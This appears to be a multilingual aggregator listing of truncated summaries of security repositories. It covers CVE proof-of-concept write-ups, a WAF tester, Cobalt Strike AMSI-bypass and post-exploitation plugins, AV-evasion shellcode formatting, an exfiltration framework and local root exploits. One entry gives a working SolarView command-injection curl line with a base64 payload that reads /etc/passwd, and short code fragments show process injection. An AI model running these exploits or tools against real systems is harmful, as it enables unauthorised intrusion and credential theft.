waf-checker

Webアプリケーションファイアウォール（WAF）が一般的な攻撃ベクトルに対してどの程度保護できているかをテストするための強力なWebアプリケーションです。 → waf-checker.com ← 機能 セキュリティテスト 19以上の攻撃カテゴリ を標準搭載：SQLインジェクション、XSS、パストラバーサル、コマンドインジェクション、SSRF、NoSQLインジェクション、LFI、LDAPインジェクション、XXE、SSTI、CRLFなど 9つの高度なバイパスカテゴリ ：エンコードバリエーション、プロトコルスマグリング、フレームワーク固有のペイロード 344以上のペイロード を...

ByeDPIAndroid

Android 用 ByeDPI English | Русский DPI（Deep Packet Inspection）と検閲をバイパスするため、ローカルVPNサービスを実行するAndroidアプリケーションです。 このアプリケーションはSOCKS5プロキシByeDPIを実行し、すべてのトラフィックをそれを経由してリダイレクトします。 インストール または Obtainium を使用する 1. Obtainium をインストール 2. アプリをURLで追加: https://github.com/dovecoteescapee/ByeDPIAndroid 設定...

CVE-2026-0073

🤖 CVE-2026-0073 - 无线 ADB 身份验证绕过 📌 概述 CVE-2026-0073 是 Android 无线 ADB（adbd 守护进程）中的一个严重身份验证绕过漏洞 。 同一网络 中的攻击者可以绕过双向 TLS 身份验证，在无需用户批准或事先配对的情况下连接到设备。 关键信息 项目| 详情 ---|--- CVE ID| CVE-2026-0073 严重性| 严重 CVSS 评分| 8.8 受影响组件| adbd（Android 调试桥）- TLS 处理程序 类型| 身份验证绕过 影响| 远程 Shell 访问（shell 用户） 已修补| 2026 年 5 月...

halo-2.25.4-backup-write-CVE-2026-67920

Halo CMS 备份恢复任意文件写入漏洞 概述 Halo CMS 至 2.25.4 版本的备份恢复功能中存在一个严重的任意文件写入漏洞。MigrationServiceImpl.java 中的 restoreWorkdir 方法将用户提供的备份归档中的 workdir/ 目录直接复制到 Halo 应用程序的工作目录（/.halo2/），且未对文件类型、路径遍历防护或符号链接进行任何验证。具有备份管理权限的已认证攻击者可以构造包含 workdir/ 目录中任意文件的恶意备份 ZIP 文件，该文件将在恢复时被写入服务器的工作目录，可能通过插件 JAR 替换导致远程代码执行（RCE），或通过...

injectAmsiBypass

Cobalt Strike BOF - AMSIバイパス注入 コードインジェクションを使用してリモートプロセス内のAMSIをバイパスするCobalt Strike Beacon Object File（BOF）です。 CobaltStrikeからのinject-amsiBypass BOFの実行 これは何をするものですか？ 1. 指定されたPID引数を使用してリモートプロセスのハンドルを取得します root@kitploit: hProc = KERNEL32$OpenProcessPROCESSVMOPERATION | PROCESSVMWRITE, FALSE, DWORDpid;...

Autorize

Autorize Autorize 是一款开源的 自动授权与身份验证实施检测 扩展，适用于 Burp Suite 。 它旨在帮助应用安全工程师和渗透测试人员，以 规模化 且 最小化手动操作 的方式，识别 Web 应用中的 授权绕过 和 身份验证漏洞 。 Autorize 会被动监控 高权限用户 产生的流量，自动使用 低权限 或 未认证 上下文重放请求，并分析服务器响应，以判断访问控制是否得到正确实施。 该扩展由应用安全研究员及实践者 Barak Tawily 使用 Jython 编写。 主要特性 自动授权实施测试 自动身份验证实施测试 透明请求修改与重放...

CVE-2026-41940

CVE-2026-41940 A recente vulnerabilidade CVE-2026-41940 trouxe grande preocupação para administradores de servidores que utilizam cPanel/WHM. Trata-se de uma falha crítica que pode permitir o bypass de autenticação, possibilitando acesso indevido ao painel administrativo sem credenciais válidas...

local-exploits

本地漏洞利用 各类本地漏洞利用 CVE-2020-8793 opensmptd-makemap-lpe —— Fedora 31 OpenSMTPD makemap 本地 root 漏洞利用。 代码大部分取自 Qualys 安全公告（2020-02-24），针对 CVE-2020-8793。 opensmtpd：非特权攻击者读取任意文件可导致信息泄露或权限提升 fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6 本地 root 漏洞利用。 代码大部分取自 Qualys PoC（2020-01-28），针对...

DarkLoadLibrary

DarkLoadLibrary 攻撃目的の LoadLibrary。 どのように動作するのか？ https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/ 使用方法 root@kitploit: DARKMODULE DarkModule = DarkLoadLibrary LOADLOCALFILE, // control flags L"TestDLL.dll", // local dll path, if loading from disk NULL, // dll buffer to load fr...

PyExfil

PyExfil ストレステストによる検出と創造性 PyExfil は PoC として、また一種の遊び場として生まれ、その後もう少し成長しました。私の目には、まだ「安定」と呼ぶには多くの作業とテストを必要とする、乱雑な PoC に映ります。PyExfil の目的は、さまざまな脅威アクター/マルウェアがさまざまな検出・緩和ツールや技術を回避するために使用可能な 、可能な限り多くのデータ抜き出し（現在は通信も）技術を実装することです。変更履歴は公式 GitHub ページ で追跡できます。...

CVE-2026-42167

CVE-2026-42167: ProFTPD modsql 中的 SQL 注入 📋 执行摘要 CVE-2026-42167 是 ProFTPD 的 modsql 模块中的一个严重 SQL 注入漏洞，可导致身份验证绕过 、后门用户注入 和远程代码执行（RCE） 。 属性| 值 ---|--- 类型| SQL 注入（CWE-89） 严重性| 高/严重 CVSS v3| 8.1 组件| ProFTPD 1.3.9a 中的 modsql 报告方| ZeroPath Research 日期| 2026 年 4 月 28 日 🔍 技术描述 问题：isescapedtext 中的弱验证 ProFTP...

bluffy

Bluffy シェルコードを ✨ 異なる ✨ フォーマットに変換！ Bluffyは、シェルコードを現実的なデータ形式にフォーマットすることで、アンチウイルス製品を（静的に）バイパスする実験で使用されたユーティリティです。 0xBoku氏のNinjaUUIDRunnerやChoiSG氏のUuidShellcodeExecなどの概念実証ツールが、Bluffyの初期コンセプトに影響を与えました。 現在までに、以下を実装しています： 1. UUID 2. CLSID 3. SVG 4. CSS 5. CSV ヘルプ root@kitploit: $ python3 bluffy.py -h...

CVE-2024-9014

CVE-2024-9014 - pgAdmin 4 OAuth2 認証バイパス エクスプロイトツール このリポジトリには、pgAdmin 4 の CVE-2024-9014 脆弱性を検出および悪用するためのツールが含まれています。この脆弱性により、攻撃者は OAuth2 認証をバイパスして機密リソースにアクセスできる可能性があります。 ツール 1. cve20249014check.py このスクリプトは、pgAdmin 4 のインストールを調査し、公開された OAuth2 設定を探すことで、対象システムが CVE-2024-9014 に対して脆弱かどうかをチェックします。 使用方法...

CVE-2026-24061-POC

CVE-2026-24061 GNU inetutils-telnetd 远程身份验证绕过 CVSS 评分：9.8 严重 概述 GNU inetutils-telnetd 中的一个漏洞允许远程攻击者通过 NEWENVIRON telnet 选项绕过身份验证。通过发送包含值 "-f root" 的特制 USER 环境变量，攻击者可以诱使登录进程在无需凭据的情况下授予 root shell。 受影响版本 早于 2.6 的 GNU inetutils-telnetd 版本 技术细节 telnetd 守护进程将 NEWENVIRON 协商中的 USER 环境变量直接传递给...

CVE-2023-48795

针对 CVE-2023-48795 的 OpenSSH 漏洞扫描器 该基于 Python 的工具可扫描系统中的 OpenSSH 安装，并检查它们是否容易受到 CVE-2023-48795 的攻击。此漏洞影响 OpenSSH 9.6 之前的版本。该脚本提供扫描系统的详细报告，包括在发现漏洞时进行升级的建议。 CVE-2023-48795：漏洞概述 CVE ID ：CVE-2023-48795 描述 ：OpenSSH 9.6 之前版本中的一个漏洞，可能允许远程攻击者绕过安全机制或执行未经授权的操作。 解决方案 ：升级到 OpenSSH 9.6 或更高版本 。 功能 检测并检查指定 IP 上的...

CVE-2023-23333

概要: SolarView Compact 6.00 以前には、downloader.php を介して内部制限を回避し、コマンドを実行できるコマンドインジェクションの脆弱性があります。 ベンダー: SolarView Compact 影響を受ける製品: SolarView Compact バージョン: SolarView Compact =ver 6.00 PoC: curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep...

CloudUnflare

CloudUnflare...

CVE-2026-39987-lab-or-marimo-cve-lab

CVE-2026-39987 实验指南 通过终端 WebSocket 认证绕过实现未认证远程代码执行 一个用于理解、复现和修复 marimo 中此严重漏洞的教育性 Docker 实验环境。 目录 概述 架构 快速开始 分步演练 步骤 1：构建并启动实验环境 步骤 2：确认认证已启用 步骤 3：运行漏洞利用 步骤 4：理解绕过原理 步骤 5：补丁验证 故障排查 清理 参考资料 概述 | ---|--- 目标| 以 edit 模式运行并启用令牌认证的 marimo = 0.23.0 ⚠️ 仅供道德使用...

CVE-2026-6274

CVE-2026-6274：Redline WR3200 身份验证绕过 English | Turkish 本仓库包含 CVE-2026-6274 的技术细节和概念验证（PoC）。该漏洞存在于 Redline WR3200 路由器（固件版本 v7.1.8 之前）中，允许攻击者在不知道当前凭据的情况下绕过身份验证并更改管理员密码。 技术分析 该漏洞源于两个主要安全缺陷： 1. 静态 Cookie 身份验证： 路由器依赖静态 cookie（user=admin&platform=1）来识别管理会话。 2. IP 验证绕过： 虽然大多数端点要求基于 IP...

LSTAR

LSTAR - Aggressor 一个插件从上线到域控 实现内网漫游 本着简化 CS 右键和方便自己集成的目的，参考大量后渗透插件 重构和丰富了主机相关凭据获取、多级内网穿透、隐蔽计划任务、免杀的 Mimikatz 和克隆添加用户等功能 功能特性： 通过配合 CobaltStrike 的 TCP、SMB、Proxy 等不出网主机上线方式，穿透复杂网络环境 针对 RDP 相关、AddUser、LsassDump 等功能提供多种免杀执行方式，应对冷门环境 集成多个使用 WinAPI 或 Assembly 内存加载方式运行的影子用户、隐蔽计划任务等免杀功能 主要包含以下功能模块：...